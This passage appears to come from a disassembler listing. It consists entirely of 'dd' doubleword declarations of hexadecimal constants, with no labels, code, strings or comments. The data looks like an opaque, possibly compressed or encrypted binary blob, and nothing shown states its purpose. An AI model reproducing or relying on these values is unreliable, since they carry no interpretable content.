		dd 0A054E2A2h, 8BAD200h, 0BFD057h, 0D8326DD7h, 0B780C80Dh
		dd 7263AB00h, 0B8777F42h, 0C6620B5Eh, 80206E6Ch, 1B563273h
		dd 0A31C68F4h, 3000E835h, 393A465Ah, 0C44F1Ah, 256A1774h
		dd 0A9002FB4h, 0AE8C293Dh, 6F98EDh, 7393BA42h, 5A0F1B4Ah
		dd 0DC7D3F00h, 0FDF62631h, 5FA00092h, 3AED6FA8h, 4500D3BBh
		dd 124DF53Dh, 0C0FB3Fh,	0E28522AAh, 89817990h, 0CA523Bh
		dd 71BDEBE8h, 12E1FD1Dh, 901C951Eh, 506368FCh, 0E4830926h
		dd 904A9C0Ah, 921F7EA8h, 3C24467Dh, 800E8608h, 30155084h
		dd 2530080Dh, 46A53154h, 0CC49289Ah, 0EA07008Ch, 0D4A88C5Bh
		dd 380F22B4h, 0E0D9C202h, 0EFFA8191h, 0B1E1003Fh, 22128713h
		dd 4D00EA1Ch, 7475682h,	3FB5F783h, 0E8007CA0h, 88F9D731h
		dd 2A003B45h, 0BE04609Eh, 0F06CC1B2h, 46300E01h, 917B0ECh
		dd 0A6803FC8h, 14ED8D8Eh, 80F3433Ah, 21A3345Ch,	39A0EB4h
		dd 71F14B62h, 0D2D48B96h, 28521CDCh, 65B5A200h,	3551D960h
		dd 18507E18h, 0B0045B85h, 0A300ACD4h, 0A52948ABh, 989051B2h
		dd 0F06E00A8h, 1EED5C66h, 0E06E84E1h, 9F5EA0A0h, 3C6F8785h
		dd 0CE812B34h, 7301B8B9h, 0A6EECCD0h, 1FC77D00h, 32E40E8Ah
		dd 9D870710h, 2EE0FD63h, 80E6BAE5h, 8A24FB68h, 7C612602h
		dd 40F3F15Ch, 0CE4959F4h, 26D02110h, 671C50EBh,	0F871A481h
		dd 1881F02Dh, 12E684BDh, 85646475h, 384240B6h, 8049004Ah
		dd 9D072217h, 10AACF20h, 0A0707F90h, 0B13F0355h, 2675CA90h
		dd 52A84B8h, 0E4E54500h, 0A083BE09h, 0A1DE008Bh, 21886497h
		dd 861D1A69h, 0BE415Dh,	36BD242Ah, 4B309DC3h, 0CBA5B083h
		dd 0E272490Ch, 471019h,	4528883Ah, 66A3E0Dh, 21172090h
		dd 0C5133429h, 41C15600h, 38D56980h, 5281A960h,	4589F4DEh
		dd 0F7EAC417h, 39F99802h, 8EED8A26h, 2714E79Ah,	0F240A680h
		dd 600839B5h, 0D9EB8D00h, 1348DC69h, 2E1E4B00h,	0B354E69Ch
		dd 0EFC300F1h, 234C50C7h, 0C8000F41h, 0B99B3682h, 0CDFDEDh
		dd 13C388D1h, 0FE9CE25Fh, 95253B00h, 0EB8E7F67h, 8ACF2744h
		dd 84BF2887h, 0E8B490FFh, 7038BC0h, 928EF2F9h, 5DA2B88Fh
		dd 8195000Fh, 3757273Dh, 4E003993h, 24DFBA6Ah, 5CFC2F74h
		dd 1C13A8A1h, 3D420040h, 5B08CB5h, 6BEA8B04h, 0EF32D7h
		dd 3404C676h, 1C0944B8h, 49A43Eh, 3350532Ch, 58F00191h
		dd 1AC0DF70h, 0D851CD11h, 0FD385BA4h, 30CB8E8Bh, 1073A0B2h
		dd 968A680h, 2D6139D4h,	0B13E9780h, 0AA00CB34h,	0C683BDA3h
		dd 0ECE06206h, 911302C9h, 0EEA1D1C4h, 40FEC469h, 0AF62F0A6h
		dd 8F432138h, 0CFE2873Bh, 963140B4h, 0CBFCC1h, 0BEDA919Bh
		dd 8A3FEB50h, 1E29DB00h, 78A890ABh, 7DE1E44Bh, 9E7C025Bh
		dd 4E40C0CBh, 5900C4E4h, 0A067CA71h, 24ABE207h,	0E4EBAFh
		dd 0A9AA2C23h, 11C8D82Ah, 71C014Ch, 8B2117ACh, 90988E20h
		dd 5C7CF3A8h, 370170DBh, 0CA7ABB86h, 0FAEEE484h, 7809000h
		dd 0ED3C819Eh, 0ADD5072Eh, 20CBC578h, 26DA5546h, 22A760C0h
		dd 0A9574F5Eh, 0E8023E50h, 80904A02h, 787948FDh, 8A749489h
		dd 449991h, 0D385A266h,	0B2EA3B70h, 2DD88E00h, 0D74841C9h
		dd 965E0B78h, 0E4B08635h, 0E1F45FACh, 888A6705h, 0F28034DAh
		dd 8718C8h, 7440E938h, 134126F8h, 0A747F002h, 0E0FACA81h
		dd 0F44336F0h, 0E17010DFh, 14E800E4h, 68535292h, 6D9E4A4h
		dd 5671BB6Bh, 0FE3B09FDh, 0FCD384BEh, 0F8E02426h, 0EFC60036h
		dd 0C1F04014h, 0ED076C3Ah, 0C415D412h, 0F0C2E7D5h, 604AC1A8h
		dd 0D24BF077h, 0B8032564h, 2D569050h, 0C459022Ch, 0F9E281CAh
		dd 5CB9FAE0h, 0EF518600h, 3C1D7897h, 0F72700E5h, 7282802Ah
		dd 0F8B0CFA6h, 5014200h, 9BB91CF1h, 4D8D13EEh, 0F648B090h
		dd 40205100h, 78C63F21h, 98C500F1h, 0BE1A2886h,	530093A8h
		dd 0B26B055Fh, 5C0B9AC7h, 0D00EDEAFh, 0B1A09C82h, 52D5D77Ah
		dd 1300F7E2h, 3DC1544Ch, 0CA118Ah, 0B5D4FC15h, 7E23BEDEh
		dd 1825293Ch, 181807A7h, 0D0B86Ch, 6E7B6992h, 534FAFBDh
		dd 0B8C755E4h, 5CF1E53Fh, 23C001CCh, 662F00ABh,	7DE461B4h
		dd 257E7CA5h, 211C3C00h, 43D64651h, 50300FAh, 6D5A01A9h
		dd 740EC296h, 0C666DA7Ah, 0FA586792h, 0AF540023h, 0D564ED37h
		dd 36332BD1h, 0C0AD8073h, 5C7995CFh, 6E2AA476h,	0D40B05F0h
		dd 689CB6h, 6663E284h, 76492BC3h, 9F770054h, 0A76F7CF7h
		dd 935C0948h, 5E00C56Bh, 8C9E2B1Ch, 92FA7F01h, 9D5844D8h
		dd 4ACB67DCh, 44C0180h,	8B39E747h, 0F4E9991h, 0A2920E0Ch
		dd 0C93256DBh, 33304264h, 0F7660040h, 0FA8A48F3h, 0B04CA3EBh
		dd 5CE9C020h, 0C4A6D2B4h, 0A08493C0h, 302AE8Ch,	694DA40h
		dd 0E8D377h, 675986FDh
		dd 32002349h, 2D6EEBC4h, 6072374Eh, 8BE92E12h, 0B002F2F6h
		dd 0E8790114h, 0F9504126h, 71C9CCh, 0C5187DB8h,	3165D6DCh
		dd 40B2571h, 0CEA63F9Dh, 133BEC10h, 431F3988h, 197B6E6Ch
		dd 5131CB98h, 155DF301h, 0CEF030EBh, 7F88FCh, 0CA29C498h
		dd 2C0B41Ah, 9D9FFB12h,	0C0DF38B1h, 2C1CAE44h, 2316CFh
		dd 14F1AC74h, 0A6010E51h, 22467A3Eh, 75207E63h,	25BA0B06h
		dd 20A4EF8Fh, 63A4F0A1h, 0FA6E6C02h, 41CD109Ah,	0C9F89E50h
		dd 746000B1h, 0E52632F1h, 0FE003477h, 2B97918h,	10C654h
		dd 0F0E40CA0h, 0BD3CFFC8h, 3A099598h, 0A0D17B39h, 0BA43C37Ch
		dd 0AD8F0661h, 60CCA971h, 0B330D500h, 91A07506h, 0EF92001Bh
		dd 0A89E730Eh, 0ED1C281Dh, 62875109h, 4E038BE4h, 11A8018Fh
		dd 81D624D7h, 58DACC38h, 76929004h, 289082C6h, 0BCABEFh
		dd 0D170340Fh, 0EEA69CB8h, 0B027497Eh, 2D1540FCh, 0AA990971h
		dd 0BCA0C874h, 6435AEA3h, 0A43FC000h, 0E91BF943h, 23E31262h
		dd 0F6408057h, 7F0ED16Ah, 0E74BB842h, 37A04EBEh, 0B860CF9Fh
		dd 19F40498h, 0B89874C9h, 69070010h, 4717DCF5h,	0AF140FD1h
		dd 2A228C58h, 18E03C74h, 7200E025h, 0D1B5D0Bh, 1AED3D5h
		dd 0EF90204Ch, 0CC4BDAF5h, 0C57F9D7Ch, 68A8D40Fh, 2088AE4Dh
		dd 96F78C5Fh, 0E9BD0078h, 3DFEF45Eh, 1D5C6742h,	0C208008Ch
		dd 0B81F647Eh, 0C3DB0032h, 0D0E4E966h, 0B3E0FECAh, 7DB4990Bh
		dd 3C358202h, 4A4458E1h, 7C04210Ch, 9C900797h, 22E973h
		dd 2FDA98C9h, 0ED2613F6h, 0C8301F30h, 3F2BB3Eh,	6612DB87h
		dd 1905DDADh, 40F59B61h, 2172E8C0h, 0F61F074Dh,	31A1768Bh
		dd 24B28527h, 0F030FDACh, 0D1391971h, 0C047E629h, 0C3F4A938h
		dd 0CB728281h, 7B3CE71Eh, 71163E80h, 7C1B5A1h, 5E0DC297h
		dd 0D0E0E6EDh, 0FBCF0910h, 34BD4305h, 2D40BF7h,	1E915882h
		dd 7E3BA858h, 2DE3003Ah, 9A84D96Fh, 0F49F175Eh,	0ED8A0989h
		dd 40372800h, 0AF1EA77Ch, 3B8F29BFh, 14DEE70h, 0CE9F9D16h
		dd 80AC30h, 0CDF5616Eh,	398691A1h, 7633DB01h, 14B98B3Dh
		dd 7C15D120h, 0BC77A8h,	3C75120Ch, 794495D1h, 627EA49Ah
		dd 9C137138h, 0DA41CBE7h, 1B8FC5E2h, 24C8864h, 0EABA8DD3h
		dd 0CC804BF0h, 1B789F8Ch, 0B2E1F6F5h, 743FE069h, 0F3333505h
		dd 27C0D0F6h, 0DB125Eh,	6FECD76Ch, 82FCA4BCh, 0AB2F151Eh
		dd 410FF528h, 0E44958C9h, 798068AFh, 5812C80Bh,	7B00D15Fh
		dd 14DD30ADh, 4A90132Eh, 0A60124FCh, 0C050EA8Bh, 9AE4D8ECh
		dd 0ACA54FA7h, 8590002h, 71F92224h, 0C02C00FCh,	0E8382E53h
		dd 0E97B8B5Eh, 48948400h, 0A9C55933h, 0D0F66012h, 767D932Bh
		dd 8288CC00h, 5160E6F2h, 0FF910F7Eh, 8173F71Eh,	20CFDC2Ch
		dd 4FEE5B73h, 461058h, 3AB38F92h, 739F7EA3h, 683503AAh
		dd 7C1267DDh, 4A2B48D0h, 0CF1E3Fh, 3A76632Dh, 0A06488h
		dd 0DA5EFC4Ch, 0D30E9D8Bh, 0CF417D00h, 92E48CB2h, 0E1260501h
		dd 80FE58FCh, 985DD3Eh,	0BBA98F02h, 5C0F8769h, 47E54068h
		dd 1100C0FFh, 0BFD66299h, 4BB451h, 85EF1333h, 571D87FCh
		dd 3BECF700h, 0ED8CEE6Fh, 50092FAh, 50A8F4DAh, 1478C819h
		dd 0D6977900h, 8B7DE768h, 0DCFF3D24h, 0AA7FC804h, 3458C71Dh
		dd 94C571h, 55816A0Bh, 0FC03482Bh, 0E4D27B37h, 46AA9020h
		dd 4028B644h, 66D92949h, 0D302D798h, 59C428D5h,	4F108242h
		dd 35C522Bh, 0CDAA142Dh, 0B4A03420h, 4F284722h,	5B2D1024h
		dd 0AE54905Fh, 28EF00BBh, 22C9B9DEh, 0E400CF78h, 0CA463BEEh
		dd 7DB1196h, 85ABF641h,	0A069EBA7h, 95CD1190h, 1A0CED8h
		dd 0D9B7A514h, 0CCAA37DAh, 0CA02245Eh, 9C07EEEFh, 0ED85190h
		dd 0B2208B70h, 2FD8F88Eh, 0A17EE9A0h, 25C90100h, 0EAEF5BDAh
		dd 7C70034h, 4FF13F66h,	0F33D116Eh, 0EC6700E4h,	5D627A5h
		dd 7BCC14DAh, 43D9CDBh,	4281F582h, 76AA86h, 0AE8A0077h
		dd 0EF87F7C0h, 0D135E207h, 6BF0FE62h, 8520D3h, 0FDC55075h
		dd 0DDDB1F36h, 0BF5F8601h, 6EBE0F2Dh, 9030E7F4h, 2330C02Fh
		dd 0F3A42A1Bh, 1D912E0Eh, 0A9E0406Ah, 933E67h, 0E68AEA56h
		dd 0B7B4AF83h, 63986E03h, 0D039A10Fh, 1EB63FDEh, 0D2A802h
		dd 0AFF0473Bh, 22ECD5F4h, 84A27D00h, 3F7B1FA3h,	0E78007Ch
		dd 0AC1DCEB0h, 2A607095h, 0CC596D91h, 0FD3700A4h, 0B0A7BD1h
		dd 5B00EFDBh, 0BB939225h, 1E65708Ah, 11F3BF3h, 0F5684637h
		dd 83EAF47Dh, 8D4C4103h, 0F0E50934h, 469EF9h, 36044759h
		dd 440DE3E1h, 3AA16602h, 0C2E851D0h, 4F9A40A2h,	85D314B4h
		dd 0F1008456h, 0EE42F24Eh, 6C3C5246h, 1C1705AFh, 7FC745C1h
		dd 0F268AD30h, 390CE6A7h, 98070A1h, 0E1A68FF5h,	6700BFB3h
		dd 0AF3A1C26h, 0E6E7D7Fh, 0CAC8FD0Eh, 0C30C3B80h, 45076F2Fh
		dd 802D21A8h, 0ABC043D0h, 29086071h, 0F7053734h, 8C117362h
		dd 9C6E600Fh, 66D50191h, 0EDFC3AB1h, 0BB218086h, 7F3D920Ah
		dd 0A7A00EE7h, 41C0EE74h, 0F881D207h, 0AB633300h, 54E04615h
		dd 2F1C3A83h, 9F8B4F00h, 0A5BEB624h, 0F95AF100h, 78816D22h
		dd 798E01B0h, 34031A13h, 67776083h, 17002C92h, 0C87E7F5Fh
		dd 13EB10h, 0CB59A148h,	0E22393E1h, 0C6B2200h, 316FAD03h
		dd 0EDE492h, 0CA7533DFh, 98669A72h, 3B5A4300h, 0AFD1497Ch
		dd 681A24E9h, 0B0C300CEh, 0D08BBA6Eh, 1E1FDEE4h, 0B45C5CFDh
		dd 0BEC06BDEh, 2967C11Dh, 17EC0066h, 6F287FBBh,	749081D3h
		dd 4407D877h, 0E756E4C4h, 727DBA50h, 0BF6F172Bh, 0F0670087h
		dd 1041FDACh, 0A703CE00h, 0C9A2B0DCh, 5B2C00EDh, 0AC987A60h
		dd 2B7A526Dh, 39853E00h, 0FE18C370h, 1299B8F9h,	40F5540Fh
		dd 0AE10D470h, 5100DC1Bh, 0B0674526h, 0ED5A13h,	2C7EB419h
		dd 0A9EF7C11h, 7194F900h, 0DDD9D36Ah, 0B0D51CDCh, 0C6BF00A5h
		dd 1AA709FDh, 0E20FA100h, 0EA179324h, 747E28h, 0AFD68E64h
		dd 0F20C4EA0h, 0E06E8800h, 16FD96D0h, 41EAF198h, 0D4406A38h
		dd 3F57F6h, 310EC90Dh, 73756D58h, 0A435D900h, 8FD7C1Bh
		dd 4CB900BDh, 0B514D1B7h, 0F30043DAh, 205222B8h, 2AD978h
		dd 8C9CA1EDh, 0A848C7E7h, 0C0007490h, 3E47CF5Ah, 3607D0h
		dd 0B4F8098h, 269913C5h, 3C245F04h, 3CC03F88h, 48E16C51h
		dd 0C1008464h, 46EFB9BBh, 13099FC3h, 0A06BB7BFh, 0EF1204Ch
		dd 0CD8900FAh, 811ECA6Dh, 0E91E42D0h, 20F935Bh,	679220F3h
		dd 28A876BFh, 8F7127h, 0C2E6F961h, 60BB6372h, 15C839h
		dd 0AF0C9154h, 69877Eh,	3A24EB82h, 0E4BA1EB2h, 0B60619C0h
		dd 4E6AEA7h, 0D6350B42h, 9824C010h, 211C2081h, 0BC009BFDh
		dd 0B18A129Dh, 0BDFF079Eh, 0B0A0BE91h, 77DC4F17h, 0C88C5524h
		dd 0A6402D80h, 0FF1A3Dh, 3BBE07FAh, 750927A7h, 802B6728h
		dd 972C85E8h, 0A500974Eh, 5E24A889h, 1AF43Ah, 0A0B71D8Fh
		dd 8012C2C8h, 73624E00h, 80CB832h, 0C14B0035h, 9D691C28h
		dd 220FE667h, 60C606BDh, 0CC98265Fh, 86B1007Fh,	47EA206Fh
		dd 0B2070B7Ah, 0F7C44822h, 3AA542B0h, 13CE6DCh,	44F09110h
		dd 80569C39h, 8E48C520h, 0EAF4B84Ah, 7D710302h,	0C37EFF2Dh
		dd 82A9BEFBh, 3F683480h, 0A400ECE6h, 0E31E1AF0h, 2E3DACh
		dd 1757BC6Ch, 0FE4D990Ch, 0AEEC2250h, 6D2A5503h, 0C0C4D3CDh
		dd 0B82CF2h, 0CA4A1CF0h, 89669711h, 5068ED00h, 0BCFD7430h
		dd 0ADDD185Bh, 673E4023h, 4B49DF90h, 0D2000F8h,	0C21942D3h
		dd 26780BC5h, 8B80B895h
		dd 40A91755h, 1D4EE0Eh,	0F81EE0B5h, 1FF761BAh, 80EAE933h
		dd 0A1B6C9D2h, 7907FF44h, 12805CBDh, 53230FD0h,	203805F4h
		dd 8027147Ah, 6A2E8604h, 40F7CD0Eh, 82E3400Fh, 4845643Eh
		dd 0CA240AD7h, 80C81C24h, 0B2D2CF29h, 3A007CDAh, 77E615ADh
		dd 2C52BBD0h, 53C7BAh, 0F9B5F5B7h, 76008B9Bh, 8367A27Ch
		dd 0C66422h, 0D7264E89h, 6AC16D01h, 37604Ch, 3B759D55h
		dd 775BF0ACh, 0C7C61FCDh, 214F405Ah, 0DF2BFC4Bh, 0DC9A4700h
		dd 5F092C41h, 5C600013h, 882F48ADh, 0F11C84D4h,	698ECDC5h
		dd 0AED40Eh, 8589B64Ch,	523711h, 0C3F50761h, 0D78014CFh
		dd 8D0CAF00h, 0C25431B0h, 71E600B5h, 0DD0E4DF1h, 0BA0E07F3h
		dd 608812D2h, 165BB0D4h, 362407E3h, 703AB86Eh, 0BEC7D729h
		dd 9FB6F203h, 0F4490448h, 6DD1CBC0h, 828F4865h,	52F9BD00h
		dd 0E310BC26h, 2991090Fh, 0D2540DFh, 997271h, 403C6DD4h
		dd 0BD5197EBh, 5200A276h, 0E9E0DDAAh, 1B9F44Dh,	444F70CBh
		dd 0D0431A81h, 0A9000C8Bh, 63B3CFBh, 71E0887Eh,	29D000C3h
		dd 723E6538h, 6A00D527h, 0C4A13D6Fh, 0FC8D1B1h,	0CF1168E5h
		dd 0DA91C19Eh, 208F1CFAh, 57007470h, 8D4A0787h,	50EEDDh
		dd 3CE7CF1Eh, 7A087825h, 7000B1E6h, 1B55D7D8h, 994337h
		dd 48A296D5h, 0B17ACB9Dh, 959EE703h, 0A810358Ch, 0F185A8h
		dd 0D125DDBEh, 0A45C7E5Eh, 0ED967D13h, 0E0A6700h, 1AC046Dh
		dd 0ECA6B8ADh, 0E9D91EC6h, 0B679F467h, 83ED7100h, 0D477E374h
		dd 5DF300C4h, 47868754h, 8000E28h, 9C7011AAh, 0A0C0D54Bh
		dd 63438410h, 0AB5ED028h, 8C721388h, 0CC3608CEh, 608D1856h
		dd 555310B3h, 21C99405h, 0E3A480C9h, 0A33B21h, 0B7298A86h
		dd 0DEBB69Ch, 99274A01h, 8E76F58Fh, 8C7B4083h, 29FB84E0h
		dd 88D77130h, 30A32314h, 0F70821FBh, 8F503727h,	4974F050h
		dd 0C02B1580h, 42904728h, 3005D6Ch, 99E27E78h, 6DBF40h
		dd 8666675Eh, 554D0C6h,	6815500h, 7AE630EBh, 4CFC02D8h
		dd 6A918C4Fh, 6BAE7DE0h, 0D323890Ch, 15EFD85Fh,	0F046FDB8h
		dd 7AF45E0Eh, 138C7CE0h, 0D53A4A10h, 3960F443h,	46711A21h
		dd 0EC8D0C76h, 72A84F08h, 3FED6400h, 0B5B47B22h, 4A110061h
		dd 8027C6D3h, 96070984h, 42D90A5Bh, 0D50D8E90h,	23201FD6h
		dd 0D1D70095h, 0D90C544Eh, 10389628h, 0C02AF020h, 9A905479h
		dd 0A519CE9Bh, 0F4B8ABF2h, 77EE7D18h, 134B8C10h, 15805CC8h
		dd 75C84674h, 3D5A0714h, 0C3C3D9BBh, 6100886Fh,	5842E362h
		dd 72DC6C7h, 0B41D27BDh, 0CF61F0D5h, 1300516Dh,	9A7DBC20h
		dd 0A1BB5D3Bh, 7918E044h, 8C2B73EEh, 3B11A06Bh,	1200E920h
		dd 21E44129h, 0D40460A8h, 5D0676E8h, 100F6CB9h,	41440A00h
		dd 2608D518h, 22001BEh,	0C31DB2D9h, 0DB79D029h,	0B9CC9C1Ch
		dd 8F9493C0h, 4491Fh, 2995CB17h, 0D8FD87F8h, 0C67BB00h
		dd 0C51CFB61h, 0F197005Fh, 0F5129CEh, 5A062815h, 5936223Ah
		dd 5B250708h, 0A7374F35h, 0D59E6008h, 660071F2h, 647C34DDh
		dd 6923DBh, 70F82BA3h, 8B1E5F1Fh, 6B26E800h, 746F188Dh
		dd 78CF46Dh, 0E2237068h, 0E0A32F41h, 0BDF9179Ah, 0DCC3D0DAh
		dd 9214571Eh, 19C06A00h, 0E6044C1Bh, 0ED9A01EFh, 96DECAE9h
		dd 177DFC93h, 6AFC004h,	0D7809813h, 385AFEh, 0CC2C1419h
		dd 451A40Fh, 0D4E7F100h, 0FB403090h, 8FE400F7h,	7C4327B5h
		dd 4F004778h, 0C37DC403h, 0B80A748h, 4EB9F61Ah,	50CE6787h
		dd 0CAA1E7B4h, 0B1EB4300h, 87EDC521h, 0C0C40117h, 956A4B78h
		dd 0F58AF8FFh, 280BDF01h, 0F4CAB154h, 0A7D770h,	26BD946h
		dd 3CEA96FAh, 90645801h, 0C2650C37h, 61E5020h, 0C3E4931Dh
		dd 2107B1BDh, 1F630A9Ch, 5D354970h, 0DB1C0742h,	6061EA60h
		dd 85E2D5B7h, 0E59C3C00h, 52BE5AEEh, 24DB30A2h,	36C6811h
		dd 13634807h, 1FC6B025h, 0FB7D40h, 0D620B8Dh, 0AC718FAFh
		dd 32DF9903h, 0F1537409h, 0D7E089A9h, 3FF4F8h, 612B0A38h
		dd 0F3ADD846h, 8025FF00h, 0C1BACAD0h, 0F6DF407h, 0ECF53620h
		dd 0ED27D620h, 0B3020DB7h, 8CB2F88Fh, 22ECC0D3h, 976D0207h
		dd 1655F32Ch, 0F5B9E780h, 1F00BD7Ch, 68DA533Bh,	70B0C9h
		dd 287EABAEh, 0E68DB5B7h, 8091903Bh, 0F087736h,	7167968h
		dd 74D98BAEh, 0D0FAFFh,	0ABA6627Ch, 782C3D09h, 26065020h
		dd 0EE989BD0h, 52A1E79h, 0ED4800F1h, 0C1FD3EA3h, 80513700h
		dd 9FF514ACh, 174EAF8h,	86DD52D5h, 0F8286F7Ah, 2D00CBC9h
		dd 0B982B63Bh, 28961E2Fh, 58D43960h, 0F307A247h, 10A0FBADh
		dd 3852B304h, 7059280Ah, 6600B8DAh, 87B1C87Eh, 10E13BA3h
		dd 0E9B0B680h, 0B8A8FD5h, 0E3AE600h, 821CAE9Ah,	0A064001Fh
		dd 0F48BE0D8h, 29070ADCh, 0D6AF336Bh, 0EA95DBA1h, 749698F3h
		dd 5AF93B7Ah, 0C0B0CB80h, 0D78DA73h, 9C856E00h,	0A48CF818h
		dd 0CA2E0035h, 0FDF0AA53h, 0C100E35Ah, 0B854EBF6h, 3EFE47E9h
		dd 11FD3F9h, 7A03072Fh,	0F6C8774Ch, 48485C0Dh, 0BF321140h
		dd 0C0618118h, 2C001DD1h, 7436736Bh, 0C196F6h, 0DF32D7E8h
		dd 0D1A5ED39h, 0A61ED2ECh, 0D3004464h, 2B928658h, 17049004h
		dd 54361A2h, 805107C3h,	0B0959A88h, 164363Ch, 10B63A94h
		dd 7880FB35h, 7C0ED4E1h, 0DA1E76FFh, 0B9DC53h, 86EBD990h
		dd 4E7598h, 0BB635897h,	531988EFh, 0FA433000h, 0C0AAE6E7h
		dd 0C72100C3h, 2480ECC4h, 39001A8Fh, 0F12D7A26h, 39B8355h
		dd 8CD53E8h, 0CB984AE9h, 0D000A10Ch, 7D5BB85Ch,	0E213107Fh
		dd 24CFFEECh, 94543Ah, 0E7DF2FBEh, 0FA0090A6h, 3520192Ah
		dd 505C23h, 0E358FCB7h,	0F89AF6D4h, 80FD133Dh, 116E34D2h
		dd 5E7D8Fh, 311798F5h, 25CF94DAh, 766334Ch, 0CB3D847Fh
		dd 50B52423h, 0BA4839h,	73519A7h, 0C23732Fh, 9BACF400h
		dd 43CDCA94h, 6B0400F9h, 0DEBB4D60h, 2C38AA39h,	8140BA74h
		dd 327FB721h, 17F8ACBDh, 0A8197337h, 486BB0h, 0E8639857h
		dd 24B58A77h, 1EEA3F00h, 0CBF01244h, 6BFC9Ch, 46660F4Ah
		dd 0FF99EEA7h, 0F158F51Ch, 0B938C880h, 0AAFA89h, 0DEBFD472h
		dd 0AD054F1Dh, 0EE6CE201h, 0BCA75014h, 0A6F3D4h, 904D3403h
		dd 5116F6BDh, 88325537h, 36F4E2E0h, 94D700AFh, 0B468F872h
		dd 1EF091A2h, 34C42A00h, 2F9A8CF5h, 80C9F947h, 484C37E8h
		dd 0A5002016h, 64C81B51h, 7303BC5Ch, 0E5C11CB4h, 93AB812Bh
		dd 4BF88021h, 0C7D0B0A2h, 906F40C0h, 0A8148F0Bh, 0D660CE60h
		dd 901D1813h, 45FC0Fh, 67B93BC7h, 0B33F484Ch, 3CC1BD4Eh
		dd 30878B13h, 8251998Dh, 0F840D9C0h, 2700263Eh,	0C23014A7h
		dd 1DCC9AE1h, 80C5F176h, 66C65073h, 0A600755Eh,	80EB88A3h
		dd 1F339365h, 80A27D98h, 0A908F15Fh, 0CAF0BABDh, 0F65CAA00h
		dd 0DD3216E7h, 7A18983Dh, 0DE8E143Fh, 7B01B042h, 0E340E4F8h
		dd 10108043h, 2739253Ch, 43FB050h, 0CAE4B606h, 1B5980C5h
		dd 3A71858Ah, 28E6F11Fh, 6B92BF42h, 8D5AE047h, 0B9700DBh
		dd 0DEEC2015h, 0C100B0E8h, 0F7E74AC8h, 0A0B6C25Ah, 95A782h
		dd 0E69B0AA6h, 0B4598CDh, 172FE026h, 0EB2AA807h, 81F25550h
		dd 6F2B0287h, 1D798004h, 5D1734C0h, 0FAC18603h,	0C7211AE4h
		dd 0C209859Ah, 0AAD000ECh, 993750B7h, 7CDA9E9Ch, 7A47B500h
		dd 4D792259h, 0B246BE2h, 0B60008CBh, 0DCBCF6BEh, 0DD1701C8h
		dd 0EE371C2Fh, 0DC11D992h, 2E4C7D08h, 0DFFB8070h, 0AE5119h
		dd 0BD95AAF0h, 88C4C313h
		dd 0B89C0100h, 0B78756B1h, 7D0F297h, 5E95592Eh,	0F220D34Fh
		dd 1D7523C8h, 11B18909h, 2900FDECh, 0FEC70C50h,	0B7F5EB00h
		dd 69CBEAA5h, 0ED4D0065h, 76CA8EC5h, 0DB17622Eh, 0BC5D8113h
		dd 0E7A15180h, 6D928Dh,	8FF85F7Eh, 247DB801h, 0E0408D83h
		dd 0EBCDFAB4h, 3057296h, 8CBB5BC7h, 2C88DB94h, 89A030F4h
		dd 122CDA58h, 64003C05h, 0DBAB5709h, 3911C7D2h,	63A8346h
		dd 410FD4h, 76953E7Ch, 85E706CAh, 8D55F29h, 4A37B500h
		dd 87FE9B35h, 0B74500ECh, 7C4CAE71h, 6067E648h,	0E53576C0h
		dd 81FC0C91h, 0CD6BDC0h, 52429587h, 85F0AA31h, 93BB317h
		dd 25894040h, 5821666Fh, 583A4046h, 2C5929h, 97BED09Ch
		dd 5D0045D9h, 0EF6EF4E9h, 0A0907504h, 2A5482h, 329E9134h
		dd 253009E5h, 1E1CDC0Fh, 0CAA4404Dh, 38B9B92h, 13497316h
		dd 4AC87977h, 88009610h, 53C0A487h, 9FD2A3h, 0C43FD39Eh
		dd 0BAB125A8h, 6F73FD1Dh, 0F7F2BE81h, 0E187E15Bh, 608D3AD2h
		dd 82877E4Ah, 6EB90C00h, 6F841BEEh, 5E10135h, 0CCFCD6F0h
		dd 40F04892h, 2495300h,	0E628B8BDh, 3F09CCB3h, 0AB00A021h
		dd 27BC4D49h, 0FC3CD78Bh, 24BE7D0Ah, 5971CFCh, 40E564ACh
		dd 3A4BBB8Ch, 761F73F4h, 0AE5908E7h, 2180BF08h,	1E3A43A4h
		dd 0B1002BA8h, 0CC3CFFD4h, 2117D51h, 6AF10E15h,	0D18C8B26h
		dd 39C0DA68h, 6F638C02h, 109FC79h, 0E56C4CD4h, 9FD9279Dh
		dd 0EB86BBD9h, 10186DABh, 49F0BC7h, 0B46C3033h,	25DAE600h
		dd 4D60E469h, 2B1A7140h, 0FFD800C8h, 81F10F55h,	77015112h
		dd 7FCCE3FBh, 0A84062A4h, 0EABAB4A6h, 0A04CEC3Ah, 0DCADCh
		dd 0C9B32A1Dh, 0BB617F8Fh, 2ABE58h, 6A86F3Ah, 48D7AC43h
		dd 260E6F36h, 38C0AB10h, 862D198Fh, 4A00BC7Eh, 699FAF6Dh
		dd 0E67053h, 97C0A35Fh,	7C189E3Dh, 1C8A3B60h, 3EFE9257h
		dd 0C05FAE15h, 61D39462h, 0D6FDA113h, 0DD42C801h, 0DCD0D9F2h
		dd 73323EE7h, 0BC83021Fh, 0C31F0600h, 0CD091CA4h, 411B300h
		dd 0F419ED7Ch, 0A1FC00CAh, 467D15D2h, 37A16B0h,	8DC81A07h
		dd 7B105E32h, 4C73B19Ch, 910091B2h, 0AFBF7671h,	1B009B54h
		dd 257B2D36h, 38CE5Fh, 0C5CFB9Dh, 0F12C1727h, 0BC807900h
		dd 3E6C3AFCh, 70EB078Ah, 2943D31Eh, 9C4500FFh, 0E9A093h
		dd 9FD738B3h, 0DC61C50Fh, 0A3C45500h, 98029C8Ah, 0DAC001FBh
		dd 73448719h, 7146C81Fh, 8D1D3Fh, 3AA1E797h, 3B4BE161h
		dd 15857AC8h, 0C0ADDE4Eh, 0C9B60AEEh, 0DFF20300h, 7D9C4B7Ch
		dd 0DD2603A0h, 0D4216C09h, 23FC8C80h, 0BB805A07h, 0A53065D2h
		dd 35CF15h, 0B534C886h,	6AA7B45Bh, 678E5D0Ah, 311DC84Dh
		dd 829000B8h, 44DD14DFh, 0ED1D0766h, 605BB370h,	0DB69CFFAh
		dd 8152F302h, 40193A72h, 388928E9h, 1080C91Bh, 0A87B2C9Ah
		dd 0B1E0250h, 0C6005927h, 7166EDAAh, 0C45D00C5h, 0B1087D2Eh
		dd 0D4603D8Fh, 2DC25978h, 9DCE3A12h, 83BA3B8h, 5E741F00h
		dd 392AFE5Fh, 0E685A600h, 9277C896h, 4711005Dh,	0DEE805B3h
